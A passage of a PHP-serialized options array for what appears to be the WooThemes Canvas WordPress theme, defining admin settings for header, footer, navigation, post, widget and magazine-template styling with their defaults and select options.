image address of your image (http://yoursite.com/image.png). <br/>Image should be same width as your site width.";s:2:"id";s:19:"woo_header_bg_image";s:3:"std";s:0:"";s:4:"type";s:6:"upload";}i:65;a:5:{s:4:"name";s:30:"Header Background Image Repeat";s:4:"desc";s:53:"Select how you want your background image to display.";s:2:"id";s:26:"woo_header_bg_image_repeat";s:4:"type";s:6:"select";s:7:"options";a:4:{s:9:"No Repeat";s:9:"no-repeat";s:6:"Repeat";s:6:"repeat";s:19:"Repeat Horizontally";s:8:"repeat-x";s:17:"Repeat Vertically";s:8:"repeat-y";}}i:66;a:5:{s:4:"name";s:13:"Header Border";s:4:"desc";s:41:"Specify border properties for the header.";s:2:"id";s:17:"woo_header_border";s:3:"std";a:3:{s:5:"width";s:1:"0";s:5:"style";s:5:"solid";s:5:"color";s:0:"";}s:4:"type";s:6:"border";}i:67;a:5:{s:4:"name";s:24:"Header Margin Top/Bottom";s:4:"desc";s:61:"Enter an integer value i.e. 20 for the desired header margin.";s:2:"id";s:20:"woo_header_margin_tb";s:3:"std";s:0:"";s:4:"type";a:2:{i:0;a:4:{s:2:"id";s:21:"woo_header_margin_top";s:4:"type";s:4:"text";s:3:"std";s:1:"0";s:4:"meta";s:3:"Top";}i:1;a:4:{s:2:"id";s:24:"woo_header_margin_bottom";s:4:"type";s:4:"text";s:3:"std";s:1:"0";s:4:"meta";s:6:"Bottom";}}}i:68;a:5:{s:4:"name";s:25:"Header Padding Top/Bottom";s:4:"desc";s:62:"Enter an integer value i.e. 20 for the desired header padding.";s:2:"id";s:21:"woo_header_padding_tb";s:3:"std";s:0:"";s:4:"type";a:2:{i:0;a:4:{s:2:"id";s:22:"woo_header_padding_top";s:4:"type";s:4:"text";s:3:"std";s:2:"40";s:4:"meta";s:3:"Top";}i:1;a:4:{s:2:"id";s:25:"woo_header_padding_bottom";s:4:"type";s:4:"text";s:3:"std";s:2:"40";s:4:"meta";s:6:"Bottom";}}}i:69;a:5:{s:4:"name";s:25:"Header Padding Left/Right";s:4:"desc";s:62:"Enter an integer value i.e. 20 for the desired header padding.";s:2:"id";s:21:"woo_header_padding_lr";s:3:"std";s:0:"";s:4:"type";a:2:{i:0;a:4:{s:2:"id";s:23:"woo_header_padding_left";s:4:"type";s:4:"text";s:3:"std";s:0:"";s:4:"meta";s:4:"Left";}i:1;a:4:{s:2:"id";s:24:"woo_header_padding_right";s:4:"type";s:4:"text";s:3:"std";s:0:"";s:4:"meta";s:5:"Right";}}}i:70;a:5:{s:4:"name";s:21:"Site Title Font Style";s:4:"desc";s:33:"Select typography for site title.";s:2:"id";s:13:"woo_font_logo";s:3:"std";a:5:{s:4:"size";s:2:"40";s:4:"unit";s:2:"px";s:4:"face";s:28:"Helvetica, Arial, sans-serif";s:5:"style";s:4:"bold";s:5:"color";s:7:"#222222";}s:4:"type";s:10:"typography";}i:71;a:5:{s:4:"name";s:27:"Site Description Font Style";s:4:"desc";s:39:"Select typography for site description.";s:2:"id";s:13:"woo_font_desc";s:3:"std";a:5:{s:4:"size";s:2:"13";s:4:"unit";s:2:"px";s:4:"face";s:28:"Helvetica, Arial, sans-serif";s:5:"style";s:4:"thin";s:5:"color";s:7:"#999999";}s:4:"type";s:10:"typography";}i:72;a:2:{s:4:"name";s:6:"Footer";s:4:"type";s:10:"subheading";}i:73;a:5:{s:4:"name";s:17:"Footer Font Style";s:4:"desc";s:29:"Select typography for footer.";s:2:"id";s:15:"woo_footer_font";s:3:"std";a:5:{s:4:"size";s:2:"13";s:4:"unit";s:2:"px";s:4:"face";s:28:"Helvetica, Arial, sans-serif";s:5:"style";s:4:"thin";s:5:"color";s:7:"#999999";}s:4:"type";s:10:"typography";}i:74;a:5:{s:4:"name";s:17:"Footer Background";s:4:"desc";s:53:"Select the background color you want for your footer.";s:2:"id";s:13:"woo_footer_bg";s:3:"std";s:0:"";s:4:"type";s:5:"color";}i:75;a:5:{s:4:"name";s:17:"Footer Border Top";s:4:"desc";s:45:"Specify top border properties for the footer.";s:2:"id";s:21:"woo_footer_border_top";s:3:"std";a:3:{s:5:"width";s:1:"1";s:5:"style";s:5:"solid";s:5:"color";s:7:"#dbdbdb";}s:4:"type";s:6:"border";}i:76;a:5:{s:4:"name";s:20:"Footer Border Bottom";s:4:"desc";s:48:"Specify bottom border properties for the footer.";s:2:"id";s:24:"woo_footer_border_bottom";s:3:"std";a:3:{s:5:"width";s:1:"0";s:5:"style";s:5:"solid";s:5:"color";s:0:"";}s:4:"type";s:6:"border";}i:77;a:5:{s:4:"name";s:24:"Footer Border Left/Right";s:4:"desc";s:52:"Specify left/right border properties for the footer.";s:2:"id";s:20:"woo_footer_border_lr";s:3:"std";a:3:{s:5:"width";s:1:"0";s:5:"style";s:5:"solid";s:5:"color";s:0:"";}s:4:"type";s:6:"border";}i:78;a:5:{s:4:"name";s:22:"Footer Rounded Corners";s:4:"desc";s:100:"Set amount of pixels for border radius (rounded corners). Will only show in CSS3 compatible browser.";s:2:"id";s:24:"woo_footer_border_radius";s:4:"type";s:6:"select";s:7:"options";a:21:{i:0;s:3:"0px";i:1;s:3:"1px";i:2;s:3:"2px";i:3;s:3:"3px";i:4;s:3:"4px";i:5;s:3:"5px";i:6;s:3:"6px";i:7;s:3:"7px";i:8;s:3:"8px";i:9;s:3:"9px";i:10;s:4:"10px";i:11;s:4:"11px";i:12;s:4:"12px";i:13;s:4:"13px";i:14;s:4:"14px";i:15;s:4:"15px";i:16;s:4:"16px";i:17;s:4:"17px";i:18;s:4:"18px";i:19;s:4:"19px";i:20;s:4:"20px";}}i:79;a:6:{s:4:"name";s:27:"Enable Custom Footer (Left)";s:4:"desc";s:58:"Activate to add the custom text below to the theme footer.";s:2:"id";s:15:"woo_footer_left";s:5:"class";s:9:"collapsed";s:3:"std";s:5:"false";s:4:"type";s:8:"checkbox";}i:80;a:6:{s:4:"name";s:18:"Custom Text (Left)";s:4:"desc";s:66:"Custom HTML and Text that will appear in the footer of your theme.";s:2:"id";s:20:"woo_footer_left_text";s:5:"class";s:11:"hidden last";s:3:"std";s:7:"<p></p>";s:4:"type";s:8:"textarea";}i:81;a:6:{s:4:"name";s:28:"Enable Custom Footer (Right)";s:4:"desc";s:58:"Activate to add the custom text below to the theme footer.";s:2:"id";s:16:"woo_footer_right";s:5:"class";s:9:"collapsed";s:3:"std";s:5:"false";s:4:"type";s:8:"checkbox";}i:82;a:6:{s:4:"name";s:19:"Custom Text (Right)";s:4:"desc";s:66:"Custom HTML and Text that will appear in the footer of your theme.";s:2:"id";s:21:"woo_footer_right_text";s:5:"class";s:11:"hidden last";s:3:"std";s:7:"<p></p>";s:4:"type";s:8:"textarea";}i:83;a:3:{s:4:"name";s:10:"Navigation";s:4:"icon";s:7:"styling";s:4:"type";s:7:"heading";}i:84;a:2:{s:4:"name";s:14:"Top Navigation";s:4:"type";s:10:"subheading";}i:85;a:5:{s:4:"name";s:33:"Top Navigation - Background Color";s:4:"desc";s:193:"Pick a custom color for the top navigation background or add a hex color code e.g. #000.<br />Top Navigation can be added with <a href="http://whc.fbdev.org/wp-admin/nav-menus.php">WP Menus</a>";s:2:"id";s:14:"woo_top_nav_bg";s:3:"std";s:0:"";s:4:"type";s:5:"color";}i:86;a:5:{s:4:"name";s:39:"Top Navigation - Hover / Sub Menu Color";s:4:"desc";s:93:"Pick a custom color for the top navigation hover text color or add a hex color code e.g. #000";s:2:"id";s:17:"woo_top_nav_hover";s:3:"std";s:0:"";s:4:"type";s:5:"color";}i:87;a:5:{s:4:"name";s:50:"Top Navigation - Hover / Sub Menu Background Color";s:4:"desc";s:99:"Pick a custom color for the top navigation hover background color or add a hex color code e.g. #000";s:2:"id";s:20:"woo_top_nav_hover_bg";s:3:"std";s:0:"";s:4:"type";s:5:"color";}i:88;a:5:{s:4:"name";s:25:"Top Navigation Font Style";s:4:"desc";s:33:"Select typography for navigation.";s:2:"id";s:16:"woo_top_nav_font";s:3:"std";a:5:{s:4:"size";s:2:"12";s:4:"unit";s:2:"px";s:4:"face";s:28:"Helvetica, Arial, sans-serif";s:5:"style";s:4:"thin";s:5:"color";s:4:"#ddd";}s:4:"type";s:10:"typography";}i:89;a:2:{s:4:"name";s:18:"Primary Navigation";s:4:"type";s:10:"subheading";}i:90;a:5:{s:4:"name";s:16:"Background Color";s:4:"desc";s:86:"Pick a custom color for the navigation background or add a hex color code e.g. #cccccc";s:2:"id";s:10:"woo_nav_bg";s:3:"std";s:0:"";s:4:"type";s:5:"color";}i:91;a:5:{s:4:"name";s:21:"Navigation Font Style";s:4:"desc";s:33:"Select typography for navigation.";s:2:"id";s:12:"woo_nav_font";s:3:"std";a:5:{s:4:"size";s:2:"14";s:4:"unit";s:2:"px";s:4:"face";s:28:"Helvetica, Arial, sans-serif";s:5:"style";s:0:"";s:5:"color";s:7:"#666666";}s:4:"type";s:10:"typography";}i:92;a:5:{s:4:"name";s:27:"Hover / Sub Menu Text Color";s:4:"desc";s:103:"Pick a custom color for the navigation hover / sub menu text color or add a hex color code e.g. #eeeeee";s:2:"id";s:13:"woo_nav_hover";s:3:"std";s:0:"";s:4:"type";s:5:"color";}i:93;a:5:{s:4:"name";s:33:"Hover / Sub Menu Background Color";s:4:"desc";s:109:"Pick a custom color for the navigation hover / sub menu background color or add a hex color code e.g. #eeeeee";s:2:"id";s:16:"woo_nav_hover_bg";s:3:"std";s:0:"";s:4:"type";s:5:"color";}i:94;a:5:{s:4:"name";s:7:"Divider";s:4:"desc";s:54:"Specify border properties for the menu items dividers.";s:2:"id";s:22:"woo_nav_divider_border";s:3:"std";a:3:{s:5:"width";s:1:"0";s:5:"style";s:5:"solid";s:5:"color";s:7:"#dbdbdb";}s:4:"type";s:6:"border";}i:95;a:5:{s:4:"name";s:20:"Dropdown menu border";s:4:"desc";s:59:"Specify border properties for the navigation dropdown menu.";s:2:"id";s:23:"woo_nav_dropdown_border";s:3:"std";a:3:{s:5:"width";s:1:"0";s:5:"style";s:5:"solid";s:5:"color";s:7:"#dbdbdb";}s:4:"type";s:6:"border";}i:96;a:5:{s:4:"name";s:10:"Border Top";s:4:"desc";s:45:"Specify border properties for the navigation.";s:2:"id";s:18:"woo_nav_border_top";s:3:"std";a:3:{s:5:"width";s:1:"0";s:5:"style";s:5:"solid";s:5:"color";s:7:"#dbdbdb";}s:4:"type";s:6:"border";}i:97;a:5:{s:4:"name";s:13:"Border Bottom";s:4:"desc";s:45:"Specify border properties for the navigation.";s:2:"id";s:18:"woo_nav_border_bot";s:3:"std";a:3:{s:5:"width";s:1:"0";s:5:"style";s:5:"solid";s:5:"color";s:7:"#dbdbdb";}s:4:"type";s:6:"border";}i:98;a:5:{s:4:"name";s:17:"Border Left/Right";s:4:"desc";s:45:"Specify border properties for the navigation.";s:2:"id";s:17:"woo_nav_border_lr";s:3:"std";a:3:{s:5:"width";s:1:"0";s:5:"style";s:5:"solid";s:5:"color";s:7:"#dbdbdb";}s:4:"type";s:6:"border";}i:99;a:6:{s:4:"name";s:26:"Navigation Rounded Corners";s:4:"desc";s:100:"Set amount of pixels for border radius (rounded corners). Will only show in CSS3 compatible browser.";s:2:"id";s:21:"woo_nav_border_radius";s:4:"type";s:6:"select";s:3:"std";s:3:"0px";s:7:"options";a:21:{i:0;s:3:"0px";i:1;s:3:"1px";i:2;s:3:"2px";i:3;s:3:"3px";i:4;s:3:"4px";i:5;s:3:"5px";i:6;s:3:"6px";i:7;s:3:"7px";i:8;s:3:"8px";i:9;s:3:"9px";i:10;s:4:"10px";i:11;s:4:"11px";i:12;s:4:"12px";i:13;s:4:"13px";i:14;s:4:"14px";i:15;s:4:"15px";i:16;s:4:"16px";i:17;s:4:"17px";i:18;s:4:"18px";i:19;s:4:"19px";i:20;s:4:"20px";}}i:100;a:5:{s:4:"name";s:28:"Navigation Margin Top/Bottom";s:4:"desc";s:61:"Enter an integer value i.e. 20 for the desired header margin.";s:2:"id";s:17:"woo_nav_margin_tb";s:3:"std";s:0:"";s:4:"type";a:2:{i:0;a:4:{s:2:"id";s:18:"woo_nav_margin_top";s:4:"type";s:4:"text";s:3:"std";s:0:"";s:4:"meta";s:3:"Top";}i:1;a:4:{s:2:"id";s:21:"woo_nav_margin_bottom";s:4:"type";s:4:"text";s:3:"std";s:0:"";s:4:"meta";s:6:"Bottom";}}}i:101;a:5:{s:4:"name";s:21:"Enable Subscribe Icon";s:4:"desc";s:53:"Enable the Subscribe to RSS icon in right navigation.";s:2:"id";s:11:"woo_nav_rss";s:3:"std";s:5:"false";s:4:"type";s:8:"checkbox";}i:102;a:5:{s:4:"name";s:18:"Enable E-mail Icon";s:4:"desc";s:54:"Enter an URL for the mail icon in the right navigation";s:2:"id";s:19:"woo_subscribe_email";s:3:"std";s:0:"";s:4:"type";s:4:"text";}i:103;a:5:{s:4:"name";s:13:"Enable Search";s:4:"desc";s:38:"Enable Search in the right navigation.";s:2:"id";s:14:"woo_nav_search";s:3:"std";s:5:"false";s:4:"type";s:8:"checkbox";}i:104;a:3:{s:4:"name";s:5:"Posts";s:4:"icon";s:7:"styling";s:4:"type";s:7:"heading";}i:105;a:2:{s:4:"name";s:13:"Posts / Pages";s:4:"type";s:10:"subheading";}i:106;a:5:{s:4:"name";s:26:"Post/Page Title Font Style";s:4:"desc";s:44:"Specify typography for post/page title text.";s:2:"id";s:19:"woo_font_post_title";s:3:"std";a:5:{s:4:"size";s:2:"28";s:4:"unit";s:2:"px";s:4:"face";s:28:"Helvetica, Arial, sans-serif";s:5:"style";s:4:"bold";s:5:"color";s:7:"#222222";}s:4:"type";s:10:"typography";}i:107;a:5:{s:4:"name";s:20:"Post Meta Font Style";s:4:"desc";s:33:"Specify typography for post meta.";s:2:"id";s:18:"woo_font_post_meta";s:3:"std";a:5:{s:4:"size";s:2:"12";s:4:"unit";s:2:"px";s:4:"face";s:28:"Helvetica, Arial, sans-serif";s:5:"style";s:4:"thin";s:5:"color";s:7:"#999999";}s:4:"type";s:10:"typography";}i:108;a:5:{s:4:"name";s:25:"Post/Page Text Font Style";s:4:"desc";s:46:"Specify typography for post/page content text.";s:2:"id";s:18:"woo_font_post_text";s:3:"std";a:5:{s:4:"size";s:2:"15";s:4:"unit";s:2:"px";s:4:"face";s:28:"Helvetica, Arial, sans-serif";s:5:"style";s:3:"300";s:5:"color";s:7:"#555555";}s:4:"type";s:10:"typography";}i:109;a:5:{s:4:"name";s:29:"Post More (bottom) Font Style";s:4:"desc";s:40:"Specify typography for post bottom text.";s:2:"id";s:18:"woo_font_post_more";s:3:"std";a:5:{s:4:"size";s:2:"13";s:4:"unit";s:2:"px";s:4:"face";s:28:"Helvetica, Arial, sans-serif";s:5:"style";s:4:"thin";s:5:"color";s:0:"";}s:4:"type";s:10:"typography";}i:110;a:5:{s:4:"name";s:29:"Post More (bottom) Border Top";s:4:"desc";s:48:"Specify border properties for post more section.";s:2:"id";s:24:"woo_post_more_border_top";s:3:"std";a:3:{s:5:"width";s:1:"0";s:5:"style";s:5:"solid";s:5:"color";s:7:"#e6e6e6";}s:4:"type";s:6:"border";}i:111;a:5:{s:4:"name";s:32:"Post More (bottom) Border Bottom";s:4:"desc";s:48:"Specify border properties for post more section.";s:2:"id";s:27:"woo_post_more_border_bottom";s:3:"std";a:3:{s:5:"width";s:1:"0";s:5:"style";s:5:"solid";s:5:"color";s:7:"#e6e6e6";}s:4:"type";s:6:"border";}i:112;a:5:{s:4:"name";s:28:"Post Author Background Color";s:4:"desc";s:95:"Pick a custom background color for the post author section or add a hex color code e.g. #fafafa";s:2:"id";s:18:"woo_post_author_bg";s:3:"std";s:7:"#fafafa";s:4:"type";s:5:"color";}i:113;a:5:{s:4:"name";s:22:"Post Author Border Top";s:4:"desc";s:50:"Specify border properties for post author section.";s:2:"id";s:26:"woo_post_author_border_top";s:3:"std";a:3:{s:5:"width";s:1:"1";s:5:"style";s:5:"solid";s:5:"color";s:7:"#e6e6e6";}s:4:"type";s:6:"border";}i:114;a:5:{s:4:"name";s:25:"Post Author Border Bottom";s:4:"desc";s:50:"Specify border properties for post author section.";s:2:"id";s:29:"woo_post_author_border_bottom";s:3:"std";a:3:{s:5:"width";s:1:"1";s:5:"style";s:5:"solid";s:5:"color";s:7:"#e6e6e6";}s:4:"type";s:6:"border";}i:115;a:5:{s:4:"name";s:29:"Post Author Border Left/Right";s:4:"desc";s:45:"Specify border properties for the navigation.";s:2:"id";s:25:"woo_post_author_border_lr";s:3:"std";a:3:{s:5:"width";s:1:"1";s:5:"style";s:5:"solid";s:5:"color";s:7:"#e6e6e6";}s:4:"type";s:6:"border";}i:116;a:6:{s:4:"name";s:27:"Post Author Rounded Corners";s:4:"desc";s:100:"Set amount of pixels for border radius (rounded corners). Will only show in CSS3 compatible browser.";s:2:"id";s:29:"woo_post_author_border_radius";s:4:"type";s:6:"select";s:3:"std";s:3:"5px";s:7:"options";a:21:{i:0;s:3:"0px";i:1;s:3:"1px";i:2;s:3:"2px";i:3;s:3:"3px";i:4;s:3:"4px";i:5;s:3:"5px";i:6;s:3:"6px";i:7;s:3:"7px";i:8;s:3:"8px";i:9;s:3:"9px";i:10;s:4:"10px";i:11;s:4:"11px";i:12;s:4:"12px";i:13;s:4:"13px";i:14;s:4:"14px";i:15;s:4:"15px";i:16;s:4:"16px";i:17;s:4:"17px";i:18;s:4:"18px";i:19;s:4:"19px";i:20;s:4:"20px";}}i:117;a:5:{s:4:"name";s:19:"Disable Post Author";s:4:"desc";s:31:"Disable post author below post?";s:2:"id";s:23:"woo_disable_post_author";s:3:"std";s:5:"false";s:4:"type";s:8:"checkbox";}i:118;a:5:{s:4:"name";s:40:"Comments Background Color (even threads)";s:4:"desc";s:102:"Pick a custom background color for the post comments even threads or add a hex color code e.g. #fafafa";s:2:"id";s:20:"woo_post_comments_bg";s:3:"std";s:0:"";s:4:"type";s:5:"color";}i:119;a:5:{s:4:"name";s:26:"Page Navigation Font Style";s:4:"desc";s:43:"Select typography for Page Navigation text.";s:2:"id";s:16:"woo_pagenav_font";s:3:"std";a:5:{s:4:"size";s:2:"13";s:4:"unit";s:2:"px";s:4:"face";s:28:"Helvetica, Arial, sans-serif";s:5:"style";s:4:"thin";s:5:"color";s:4:"#888";}s:4:"type";s:10:"typography";}i:120;a:5:{s:4:"name";s:32:"Page Navigation Background Color";s:4:"desc";s:91:"Pick a custom color for the Page Navigation background or add a hex color code e.g. #fafafa";s:2:"id";s:14:"woo_pagenav_bg";s:3:"std";s:0:"";s:4:"type";s:5:"color";}i:121;a:5:{s:4:"name";s:26:"Page Navigation Border Top";s:4:"desc";s:54:"Specify border properties for Page Navigation section.";s:2:"id";s:22:"woo_pagenav_border_top";s:3:"std";a:3:{s:5:"width";s:1:"0";s:5:"style";s:5:"solid";s:5:"color";s:7:"#e6e6e6";}s:4:"type";s:6:"border";}i:122;a:5:{s:4:"name";s:29:"Page Navigation Border Bottom";s:4:"desc";s:54:"Specify border properties for Page Navigation section.";s:2:"id";s:25:"woo_pagenav_border_bottom";s:3:"std";a:3:{s:5:"width";s:1:"0";s:5:"style";s:5:"solid";s:5:"color";s:7:"#e6e6e6";}s:4:"type";s:6:"border";}i:123;a:2:{s:4:"name";s:8:"Archives";s:4:"type";s:10:"subheading";}i:124;a:5:{s:4:"name";s:25:"Archive Header Font Style";s:4:"desc";s:37:"Select typography for Archive header.";s:2:"id";s:23:"woo_archive_header_font";s:3:"std";a:5:{s:4:"size";s:2:"18";s:4:"unit";s:2:"px";s:4:"face";s:17:"Arial, sans-serif";s:5:"style";s:4:"bold";s:5:"color";s:7:"#222222";}s:4:"type";s:10:"typography";}i:125;a:5:{s:4:"name";s:28:"Archive Header Border Bottom";s:4:"desc";s:44:"Specify border properties for Archive header";s:2:"id";s:32:"woo_archive_header_border_bottom";s:3:"std";a:3:{s:5:"width";s:1:"1";s:5:"style";s:5:"solid";s:5:"color";s:7:"#e6e6e6";}s:4:"type";s:6:"border";}i:126;a:5:{s:4:"name";s:31:"Disable Archive Header RSS link";s:4:"desc";s:34:"Disable RSS link in Archive header";s:2:"id";s:30:"woo_archive_header_disable_rss";s:3:"std";s:5:"false";s:4:"type";s:8:"checkbox";}i:127;a:3:{s:4:"name";s:7:"Widgets";s:4:"icon";s:7:"styling";s:4:"type";s:7:"heading";}i:128;a:5:{s:4:"name";s:23:"Widget Background Color";s:4:"desc";s:82:"Pick a custom color for the widget background or add a hex color code e.g. #cccccc";s:2:"id";s:13:"woo_widget_bg";s:3:"std";s:0:"";s:4:"type";s:5:"color";}i:129;a:5:{s:4:"name";s:13:"Widget Border";s:4:"desc";s:38:"Specify border properties for widgets.";s:2:"id";s:17:"woo_widget_border";s:3:"std";a:3:{s:5:"width";s:1:"0";s:5:"style";s:5:"solid";s:5:"color";s:7:"#dbdbdb";}s:4:"type";s:6:"border";}i:130;a:5:{s:4:"name";s:14:"Widget Padding";s:4:"desc";s:62:"Enter an integer value i.e. 20 for the desired widget padding.";s:2:"id";s:18:"woo_widget_padding";s:3:"std";s:0:"";s:4:"type";a:2:{i:0;a:4:{s:2:"id";s:21:"woo_widget_padding_tb";s:4:"type";s:4:"text";s:3:"std";s:0:"";s:4:"meta";s:10:"Top/Bottom";}i:1;a:4:{s:2:"id";s:21:"woo_widget_padding_lr";s:4:"type";s:4:"text";s:3:"std";s:0:"";s:4:"meta";s:10:"Left/Right";}}}i:131;a:5:{s:4:"name";s:12:"Widget Title";s:4:"desc";s:52:"Select the typography you want for the widget title.";s:2:"id";s:21:"woo_widget_font_title";s:3:"std";a:5:{s:4:"size";s:2:"14";s:4:"unit";s:2:"px";s:4:"face";s:28:"Helvetica, Arial, sans-serif";s:5:"style";s:4:"bold";s:5:"color";s:7:"#555555";}s:4:"type";s:10:"typography";}i:132;a:5:{s:4:"name";s:26:"Widget Title Bottom Border";s:4:"desc";s:45:"Specify border property for the widget title.";s:2:"id";s:23:"woo_widget_title_border";s:3:"std";a:3:{s:5:"width";s:1:"1";s:5:"style";s:5:"solid";s:5:"color";s:7:"#e6e6e6";}s:4:"type";s:6:"border";}i:133;a:5:{s:4:"name";s:11:"Widget Text";s:4:"desc";s:51:"Select the typography you want for the widget text.";s:2:"id";s:20:"woo_widget_font_text";s:3:"std";a:5:{s:4:"size";s:2:"13";s:4:"unit";s:2:"px";s:4:"face";s:28:"Helvetica, Arial, sans-serif";s:5:"style";s:4:"thin";s:5:"color";s:7:"#555555";}s:4:"type";s:10:"typography";}i:134;a:5:{s:4:"name";s:22:"Widget Rounded Corners";s:4:"desc";s:100:"Set amount of pixels for border radius (rounded corners). Will only show in CSS3 compatible browser.";s:2:"id";s:24:"woo_widget_border_radius";s:4:"type";s:6:"select";s:7:"options";a:21:{i:0;s:3:"0px";i:1;s:3:"1px";i:2;s:3:"2px";i:3;s:3:"3px";i:4;s:3:"4px";i:5;s:3:"5px";i:6;s:3:"6px";i:7;s:3:"7px";i:8;s:3:"8px";i:9;s:3:"9px";i:10;s:4:"10px";i:11;s:4:"11px";i:12;s:4:"12px";i:13;s:4:"13px";i:14;s:4:"14px";i:15;s:4:"15px";i:16;s:4:"16px";i:17;s:4:"17px";i:18;s:4:"18px";i:19;s:4:"19px";i:20;s:4:"20px";}}i:135;a:5:{s:4:"name";s:28:"Tabs Widget Background color";s:4:"desc";s:76:"Pick a custom color for the tabs widget or add a hex color code e.g. #cccccc";s:2:"id";s:18:"woo_widget_tabs_bg";s:3:"std";s:0:"";s:4:"type";s:5:"color";}i:136;a:5:{s:4:"name";s:35:"Tabs Widget Inside Background Color";s:4:"desc";s:76:"Pick a custom color for the tabs widget or add a hex color code e.g. #cccccc";s:2:"id";s:25:"woo_widget_tabs_bg_inside";s:3:"std";s:0:"";s:4:"type";s:5:"color";}i:137;a:5:{s:4:"name";s:17:"Tabs Widget Title";s:4:"desc";s:51:"Select the typography you want for the widget text.";s:2:"id";s:20:"woo_widget_tabs_font";s:3:"std";a:5:{s:4:"size";s:2:"12";s:4:"unit";s:2:"px";s:4:"face";s:28:"Helvetica, Arial, sans-serif";s:5:"style";s:4:"bold";s:5:"color";s:7:"#555555";}s:4:"type";s:10:"typography";}i:138;a:5:{s:4:"name";s:30:"Tabs Widget Meta / Tabber Font";s:4:"desc";s:51:"Select the typography you want for the widget text.";s:2:"id";s:25:"woo_widget_tabs_font_meta";s:3:"std";a:5:{s:4:"size";s:2:"11";s:4:"unit";s:2:"px";s:4:"face";s:28:"Helvetica, Arial, sans-serif";s:5:"style";s:4:"thin";s:5:"color";s:7:"#999999";}s:4:"type";s:10:"typography";}i:139;a:3:{s:4:"name";s:17:"Magazine Template";s:4:"icon";s:6:"layout";s:4:"type";s:7:"heading";}i:140;a:2:{s:4:"name";s:12:"Posts Slider";s:4:"type";s:10:"subheading";}i:141;a:5:{s:4:"name";s:22:"Magazine Page Template";s:4:"desc";s:0:"";s:2:"id";s:23:"woo_woo_magazine_notice";s:3:"std";s:202:"Below you can control settings for the Magazine page template. Please refer to <a href="http://www.woothemes.com/support/theme-documentation/canvas/">documentation</a> on how to setup the page template.";s:4:"type";s:4:"info";}i:142;a:5:{s:4:"name";s:22:"Enable Featured Slider";s:4:"desc";s:59:"Enable the featured slider on the "Magazine" page template.";s:2:"id";s:19:"woo_slider_magazine";s:3:"std";s:5:"false";s:4:"type";s:8:"checkbox";}i:143;a:5:{s:4:"name";s:11:"Post Tag(s)";s:4:"desc";s:322:"Add comma separated list for the tags that you would like to have displayed in the featured slider on the "Magazine" page template. For example, if you add "tag1, tag3" here, then all posts tagged with either "tag1" or "tag3" will be shown in the featured area. These posts will be excluded from normal posts below slider.";s:2:"id";s:24:"woo_slider_magazine_tags";s:3:"std";s:0:"";s:4:"type";s:4:"text";}i:144;a:6:{s:4:"name";s:26:"Number Of Posts To Display";s:4:"desc";s:71:"Select the number of entries that should appear in the Featured Slider.";s:2:"id";s:27:"woo_slider_magazine_entries";s:3:"std";s:1:"3";s:4:"type";s:6:"select";s:7:"options";a:22:{i:0;s:16:"Select a number:";i:1;i:0;i:2;i:1;i:3;i:2;i:4;i:3;i:5;i:4;i:6;i:5;i:7;i:6;i:8;i:7;i:9;i:8;i:10;i:9;i:11;i:10;i:12;i:11;i:13;i:12;i:14;i:13;i:15;i:14;i:16;i:15;i:17;i:16;i:18;i:17;i:19;i:18;i:20;i:19;i:21;i:20;}}i:145;a:5:{s:4:"name";s:13:"Exclude Posts";s:4:"desc";s:58:"Exclude the slider posts from the posts grid below slider.";s:2:"id";s:27:"woo_slider_magazine_exclude";s:3:"std";s:4:"true";s:4:"type";s:8:"checkbox";}i:146;a:6:{s:4:"name";s:23:"Display The Post Titles";s:4:"desc";s:42:"Show the post title in the "Posts" slider.";s:2:"id";s:25:"woo_slider_magazine_title";s:3:"std";s:4:"true";s:5:"class";s:9:"collapsed";s:4:"type";s:8:"checkbox";}i:147;a:6:{s:4:"name";s:16:"Title Font Style";s:4:"desc";s:28:"Select typography for title.";s:2:"id";s:30:"woo_slider_magazine_font_title";s:3:"std";a:5:{s:4:"size";s:2:"24";s:4:"unit";s:2:"px";s:4:"face";s:17:"Arial, sans-serif";s:5:"style";s:4:"bold";s:5:"color";s:7:"#ffffff";}s:5:"class";s:11:"hidden last";s:4:"type";s:10:"typography";}i:148;a:6:{s:4:"name";s:25:"Display The Post Excerpts";s:4:"desc";s:44:"Show the post excerpt in the "Posts" slider.";s:2:"id";s:27:"woo_slider_magazine_excerpt";s:3:"std";s:4:"true";s:5:"class";s:9:"collapsed";s:4:"type";s:8:"checkbox";}i:149;a:6:{s:4:"name";s:18:"Excerpt Font Style";s:4:"desc";s:35:"Select typography for excerpt text.";s:2:"id";s:32:"woo_slider_magazine_font_excerpt";s:3:"std";a:5:{s:4:"size";s:2:"13";s:4:"unit";s:2:"px";s:4:"face";s:17:"Arial, sans-serif";s:5:"style";s:4:"thin";s:5:"color";s:7:"#cccccc";}s:5:"class";s:6:"hidden";s:4:"type";s:10:"typography";}i:150;a:6:{s:4:"name";s:14:"Excerpt Length";s:4:"desc";s:45:"Total number of words to show in the excerpt.";s:2:"id";s:34:"woo_slider_magazine_excerpt_length";s:3:"std";s:2:"15";s:5:"class";s:11:"hidden last";s:4:"type";s:4:"text";}i:151;a:2:{s:4:"name";s:14:"Featured Posts";s:4:"type";s:10:"subheading";}i:152;a:5:{s:4:"name";s:24:"Number Of Featured Posts";s:4:"desc";s:145:"Select how many featured (full width) posts you would like to show before your two-column posts. Set total number of posts in Settings > Reading.";s:2:"id";s:23:"woo_magazine_feat_posts";s:4:"type";s:6:"select";s:7:"options";a:23:{i:0;s:16:"Select a number:";i:1;s:1:"0";i:2;i:0;i:3;i:1;i:4;i:2;i:5;i:3;i:6;i:4;i:7;i:5;i:8;i:6;i:9;i:7;i:10;i:8;i:11;i:9;i:12;i:10;i:13;i:11;i:14;i:12;i:15;i:13;i:16;i:14;i:17;i:15;i:18;i:16;i:19;i:17;i:20;i:18;i:21;i:19;i:22;i:20;}}i:153;a:6:{s:4:"name";s:33:"Post Content for "Featured" Posts";s:4:"desc";s:94:"Select if you want to show the full content or the excerpt on posts in the "Featured" section.";s:2:"id";s:34:"woo_magazine_featured_post_content";s:3:"std";s:7:"excerpt";s:4:"type";s:7:"select2";s:7:"options";a:2:{s:7:"excerpt";s:11:"The Excerpt";s:7:"content";s:12:"Full Content";}}i:154;a:5:{s:4:"name";s:25:"Featured Image Dimensions";s:4:"desc";s:51:"Enter an integer value i.e. 250 for the image 